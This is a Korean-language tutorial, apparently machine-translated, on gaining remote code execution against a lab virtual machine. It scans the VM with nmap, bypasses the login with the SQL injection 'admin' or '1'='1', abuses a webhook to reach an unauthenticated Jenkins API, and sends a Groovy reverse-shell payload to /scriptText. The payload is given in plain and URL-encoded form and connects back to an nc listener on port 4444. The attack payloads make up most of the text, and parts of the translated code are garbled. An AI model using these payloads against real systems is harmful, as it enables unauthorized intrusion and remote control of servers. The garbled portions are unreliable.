시스템에서 원격 코드 실행 공격을 수행하는 방법

시스템에서 RCE 해킹 공격을 수행하는 방법

RCE(원격 코드 실행) RCE는 공격자가 권한 없이 피해자(다른 컴퓨터 사용자) 컴퓨터에 접근하여 원격으로 악성 코드를 실행할 수 있도록 하는 공격입니다.

이 데모에서는 무단 액세스 권한을 얻은 다음 일부 코드를 실행하여 전체 시스템을 다운시킬 것입니다.

참고: 이 자습서는 학습 목적으로만 제공됩니다.

전제 조건

이 문서를 따르려면 다음이 필요합니다.
  • 가상 상자가 있는 시스템
  • 칼리가 설치되었습니다.
  • 인터넷 연결.
    열거

  • netdiscover를 사용하여 사용 가능한 IP를 검색하여 가상 머신 IP 주소를 확인합니다.

    Netdiscover는 4개의 IP 주소를 제공했습니다.



    다음으로 nmap을 사용하여 netdiscover 스캔192.168.199.130에서 얻은 IP 주소 중 하나를 스캔할 것입니다.

    sudo nmap -sC -sV -A -p- 192.168.199.130
    


    Port 10080에 로그인 페이지가 있으며 Firefox에서 살펴보니 Firefox에 제한된 포트 오류가 표시됩니다.



    오류 우회

    이제 브라우저의 주소 표시줄 about:config , 검색 network.security.ports.banned .overriede:on 에 표시되는 오류를 우회하려고 합니다.

    스캔하는 동안 nmap에서 가져온 포트 번호( port 10080 )로 새 문자열을 추가합니다.



    192.168.199.130:10080 페이지 새로 고침



    인증 우회

    이 다음 단계에서는 사용자 이름과 암호에 대한 정보가 없습니다. SQLi가 구조하러 왔습니다.

    SQL(구조적 쿼리) 인젝션

    SQL 주입(SQLi)은 공격자가 응용 프로그램이 해당 데이터베이스에 수행하는 쿼리를 방해할 수 있는 웹 보안 취약점입니다. 일반적으로 공격자는 일반적으로 검색할 수 없는 데이터를 볼 수 있습니다(portswigger).
    admin’ or ‘1’=’1 사용자 이름과 비밀번호 모두

    이 특정 공격은 현재 작업 중인 것과 같은 특정 포트를 공격할 때 작동합니다.



    액세스 권한이 부여되었습니다!





    웹훅 쿼리 중

    웹후크는 특정 이벤트가 발생하는 즉시 한 프로그램에서 다른 프로그램으로 데이터를 보낼 수 있도록 하는 서비스입니다. 데이터를 수신하는 애플리케이션이 아니라 데이터를 전송하는 애플리케이션에서 통신이 시작되기 때문에 Webhook을 "역방향 API"라고도 합니다.

    대시보드를 보면 Jenkins 서비스가 실행되고 있습니다.
    Webhook 탭에서 쿼리에 대한 입력 필드 목록을 볼 수 있습니다. 헤더에서 API를 요청하려고 합니다http://127.0.0.1:8080/api/json.





    결과에서 Jenkins API가 열려 있으므로 무엇이든 보낼 수 있고 실행됩니다.

    웹후크를 통한 Jenkins 익스플로잇

    Jenkins는 Jenkins 컨트롤러 런타임 또는 에이전트의 런타임에서 실행arbitrary Groovy scripts할 수 있는 Groovy 스크립트 콘솔을 제공합니다.
    우리는 익스플로잇을 실행하기 위해 이 콘솔을 이용할 것입니다.

    Groovy 스크립트를 원격으로 실행하기 위해 HTTP POST 요청을/script/url 또는/scriptText/로 보낼 수 있습니다. 이 데모에서는 요청이/scriptText로 전송됩니다.

    먼저 공격자 시스템port 4444에 다음과 같이 수신기를 설정합니다.

    nc -lvnp 4444
    



    다음으로 페이로드를 준비합니다.

    문자열 호스트="192.168.199.128"; 정수 포트=4444;

    String cmd="bash"; Process p=
    new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(p e.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
    {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    

    이것을 인코딩하면 얻을 수 있습니다.

    String%20host%3D%22192.168.199.128%22%3B%0Aint%20port%3D4444%3B%0A%0AString%20cmd%3D%22bash% 22%3B%0AProcess%20p%3D%0Anew%20ProcessBuilder%28cmd%29.redirectErrorStream%28true%29.start%28%29
    %3BSocket%20s%3Dnew%20Socket%28host%2Cport%29%3BInputStream%20pi%3Dp.getInputStream%28%29%2Cp e%3Dp.getErrorStream%28%29%2C%20si%3Ds.getInputStream%28%29%3BOutputStream%20po%3Dp.getOutputStr eam%28%29%2Cso%3Ds.getOutputStream%28%29%3Bwhile%28%21s.isClosed%28%29%29%7Bwhile%28pi.available
    %28%29%3E0%29so.write%28pi.read%28%29%29%3Bwhile%28pe.available%28%29%3E0%29so.write%28pe.read%2 8%29%29%3Bwhile%28si.available%28%29%3E0%29po.write%28si.read%28%29%29%3Bso.flush%28%29%3Bpo.flus h%28%29%3BThread.sleep%2850%29%3Btry%20%7Bp.exitValue%28%29%3Bbreak%3B%7Dcatch%20%28Exception
    %20e%29%7B%7D%7D%3Bp.destroy%28%29%3Bs.close%28%29%3B
    



    그런 다음 제출을 클릭하십시오.



    리스닝 머신에서



    Jenkins를 통해 원격으로 시스템에 액세스할 수 있었습니다.



    내 청취자의 세부 정보가 가상 상자와 일치합니다.

    추천
  • 쿼리 내에서 문자열을 연결하는 대신 SQLi 매개 변수화된 쿼리를 사용할 수 있습니다.
  • Jenkins에 권한이 없습니다. Jenkins는 권한이 있어야 합니다.

  • 2 부
    FIND THE ENCRYPTED CREDIT CARDS AND DECRYPT THEM .

    좋은 웹페이지 즐겨찾기